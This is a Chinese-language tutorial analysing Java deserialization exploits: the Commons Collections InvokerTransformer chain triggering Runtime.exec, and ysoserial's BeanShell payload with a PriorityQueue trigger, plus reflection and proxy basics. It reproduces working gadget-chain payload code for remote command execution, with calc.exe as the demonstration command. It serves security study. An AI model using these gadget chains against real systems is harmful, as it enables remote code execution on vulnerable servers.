Java反序列化漏洞


前言

Java的漏洞中,这几年最出名的漏洞莫过于Java反序列化漏洞了。
Java的反序列化漏洞有一种含蓄美,不是那么一眼就能看出,一般要结合多个类,构造较为复杂的漏洞触发链。
这篇文章中将会分析一些反序列化漏洞的利用方法。

Java的序列化和反序列化

我们知道,序列化是一个将对象转化成字节流的过程,而反序列化是一个将字节流恢复成对象的过程。序列化和反序列化一般应用在对象的存储或传输中。

Java的序列化可以通过objectOutputStream类的writeObject方法来实现,而反序列化可以通过ObjectInputStream类的readObject方法来实现。

关于Java的反序列化漏洞可以阅读长亭科技的这篇文章

Lib之过?Java反序列化漏洞通用利用分析

文中重点分析了利用Apache Commons Collections实现远程代码执行的原理,大概可以理解为:

Apache Commons Collections 3中有个TransformedMap类,它对标准的Map进行了拓展,当这个TransformedMap实例中的key或者value发生改变,会调用相应Transformertransform()方法,这个相应的Transformer是可以通过设置属性来设置的,而且可以用多个Transformer组合成ChainedTransformer,会依次调用transform()方法。

Apache Commons Collections 3自带的InvokerTransformer类的transform方法里面会根据传入的参数来通过Java的反射机制来调用函数。所以,我们可以利用它来调用我们想要调用的任意函数,如Runtime.getRunTime.exec

当然,这个以上所提到的需要key或者value改变,而默认的readObject函数并不会改变它们。所以,需要找到一个类,它的属性(成员变量)中包含有Map而且readObject函数会对key或者value进行改变,如setValue

然后,找到了AnnotationInvocationHandler类,它恰好符合上述条件,组合即可实现,输入一个序列化后的对象,程序执行反序列化操作,调用readObject方法,执行恶意代码。

听得有点迷糊吧,可以去看看上面提到的文章,跟着走一遍。

整个反序列化的流程是,AnnotationInvocationHandler对象,它的readObject函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;

try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();

while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}

}

这里其实还是需要分析一下的,我们的目的需要执行var5.setValue,要执行到这里需要一定的条件。只要动态调试一下就可以,主要是var7!=null这个条件,调试一下就可以发现var3只有value这个key,所以,需要Map中的键值为value,即innerMap.put("value","hello world");

OK,调用setValue函数,会依次调用ChainedTransformer里面的每一个Transformertransform函数。这个ChainedTransformer的构建方法如下。

1
2
3
4
5
6
7
8
9
((Runtime) Runtime.class.getMethod("getRuntime").invoke()).exec("calc.exe");
1.Runtime.class
new ConstantTransformer(Runtime.class),
2.getMethod("getRuntime")
new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",new Class[0]}),
3. invoke()
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},new Object[] {null, new Object[0]}),
4. exec("calc.exe")
new InvokerTransformer("exec", new Class[]{String.class},new Object[] {"calc.exe"}),

ysoserial

ysoserial 是一个出名的反序列化漏洞利用工具,内有大量的payload,也很方便用于增加/修改payload。

整体架构

源码的src/main/java/ysoserial下是主程序,exploit下是针对不同应用的攻击程序,可以直接修改运行参数来使用不用的payload对目标应用进行测试,payload下是不同组件的反序列化payload,payload目录下有个util目录,里面包含有一些用于生成payload用到的小工具。

源码的src/test/java/ysooserial下是一些测试服务,可以用来测试payload。

由于JEP 290: Filter Incoming Serialization Data (JDK 9,然后反向移植到8u121, 7u131, and 6u141),在新版本的jdk下很多payload都不能用的,建议测试的时候,用低版本的jdk。

BeanShell

beanshell (bsh-2.0b5)是一个Java源代码解释器,类似于脚本语言的特性。BeanShell动态执行标准Java语法,并支持常见的脚本编写方法,如松散类型,命令和方法闭包等。BeanShell可以说是利用Java反射机制实现的新型脚本语言。/咦,貌似还挺好用。

BeanShell的反序列化漏洞,CVE-2016-2510,可以看到修复的commit,修复方法为将InvocationHandler invocationHandler=new Handler(),设置为transient,并且禁止Handler类序列化。

BeanShell通过反射的方式来实现调用函数,invocationHandlers是我们在动态代理中很熟悉的一个参数,这里考虑到构造某类反序列化时,通过动态代理的方法调用我们事先存储在invocationHandler中的函数,从而执行任意代码。

小技巧
java.util.PriorityQueue类经过构造可以调用成员变量的Comparator.compare()Comparator.compareTo()方法。

Payload如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public PriorityQueue getObject(String command) throws Exception {
// BeanShell payload

String payload =
"compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{" +
Strings.join( // does not support spaces in quotes
Arrays.asList(command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"","\\\"").split(" ")),
",", "\"", "\"") +
"}).start();return new Integer(1);}";

// Create Interpreter
Interpreter i = new Interpreter();

// Evaluate payload
i.eval(payload);

// Create InvocationHandler
XThis xt = new XThis(i.getNameSpace(), i);
InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt);

// Create Comparator Proxy
Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);

// Prepare Trigger Gadget (will call Comparator.compare() during deserialization)
final PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
Object[] queue = new Object[] {1,1};
Reflections.setFieldValue(priorityQueue, "queue", queue);
Reflections.setFieldValue(priorityQueue, "size", 2);

return priorityQueue;
}

首先,构造beanshell的执行payload,执行并存储在invocationHandler中,

1
2
3
4
5
6
7
8
9
String payload =
"compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{" +
Strings.join( // does not support spaces in quotes
Arrays.asList(command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"","\\\"").split(" ")),
",", "\"", "\"") +
"}).start();return new Integer(1);}";

// Create Interpreter
Interpreter i = new Interpreter();

然后,通过反射,取出XThis的成员变量invocationHandler

1
2
XThis xt = new XThis(i.getNameSpace(), i);
InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt);

接下来构造动态代理,这里用到了小技巧,

PriorityQueue类,它的readObject方法,跟进heapify()方法,里面调用siftDown方法,跟进,当comparator不为null,会调用siftDownUsingComparator,并在里面调用comparator.compare()方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();

// Read in (and discard) array length
s.readInt();

queue = new Object[size];

// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();

// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}

private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}

private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}

private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}

所以,我们只要将上面获得的invocationHandler通过动态代理构造出实现Comparator的对象,并作为PriorityQueuecomparator即可。

1
2
3
4
5
6
7
8
9
10
// Create Comparator Proxy
Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);

// Prepare Trigger Gadget (will call Comparator.compare() during deserialization)
final PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
Object[] queue = new Object[] {1,1};
Reflections.setFieldValue(priorityQueue, "queue", queue);
Reflections.setFieldValue(priorityQueue, "size", 2);

return priorityQueue;

回顾一下,这里我们学到了一个小技巧PriorityQueue可以在反序列化过程中调用Comparator.compare()Comparable.compareTo()函数。

Clojure

Clojure是一种高级的,动态的函数式编程语言。 它是基于LISP编程语言设计的,并且具有编译器,可以在Java和.Net运行时环境上运行。

1
2
org.clojure:clojure
Versions since 1.2.0 are vulnerable, although some class names may need to be changed for other versions

小技巧
java.util.HashMap类在writeObject过程中,将key/value以列表的形式逐个序列化,在readObject的过程中,会依次调用putVal(hash(key), key, value, false, false);,所以会调用的key.hashCode()key.equals(k)函数。

由于作者觉得之前写的文章不太容易理解,回炉重造中。。。

如果读者阅读上面文章感觉吃力,建议动手尝试,下方也提供了少量基础知识。

基础知识

Java 反射机制

Java反射是一个API,它被用于在运行时检测修改方法接口的行为。

通过反射,我们可以在运行时调用方法,而无视它们的访问说明符。

Java的反射的基础是Class类,当JVM加载类时会自动构造Class对象,而Class类对象则封装了(类和接口)的信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import java.lang.reflect.Method;

public class TestReflection {
public static void main(String [] args) throws Exception{
Object obj = Runtime.getRuntime();
// 获取obj的类名
System.out.println(obj.getClass().getName());
// 通过类名字符串获取类
Class c = Class.forName("java.lang.Runtime");
System.out.println(c);

// 根据名字获取方法
// Runtime.getRuntime().exec("calc.exe");
Method m1 = c.getDeclaredMethod("getRuntime");
Object o = m1.invoke(c, null);
Method m2 = o.getClass().getMethod("exec",String.class);
m2.invoke(o, "calc.exe");


}
}

Java动态代理机制

利用Java反射技术,在运行时创建接口s的动态实现。

一般创建动态代理,用到两个关键的类ProxyInvocationHandler

Proxy.newProxyInstance(ClassLoader loader, Class<?>[] interfaces, InvocationHandler h)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;


interface IFoo{
void go();
void fly(int len);
}

class Foo implements IFoo{

@Override
public void go(){
System.out.println("调用了Foo 的go函数");
}

public void run(){
System.out.println("调用了Foo 的run函数");
}

@Override
public void fly(int len){
System.out.println("调用了Foo 的fly函数, 飞了"+len+"米");
}
}

class DynamicInvocationHandler implements InvocationHandler{
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {

System.out.println("调用invoke函数,方法名为"+method.getName()+", 参数为"+args);
return null;
}
}

public class TestDynamicProxy {
public static void main(String [] args){
// 正常调用
Foo f = new Foo();
f.go();
f.run();
f.fly(10);

// 动态代理调用我们定义的go函数
IFoo f1 = (IFoo) Proxy.newProxyInstance(Foo.class.getClassLoader(), new Class[]{IFoo.class}, new DynamicInvocationHandler());
f1.go();
// ff.run();
f1.fly(8);

IFoo f2 = (IFoo) Proxy.newProxyInstance(Foo.class.getClassLoader(),
new Class[]{IFoo.class},
new InvocationHandler() {
@Override
public Object invoke(Object proxy, Method method, Object[] args){
System.out.println("method name is "+ method.getName() + ", args is "+args);
return null;
}
});
f2.go();
f2.fly(7);
}
}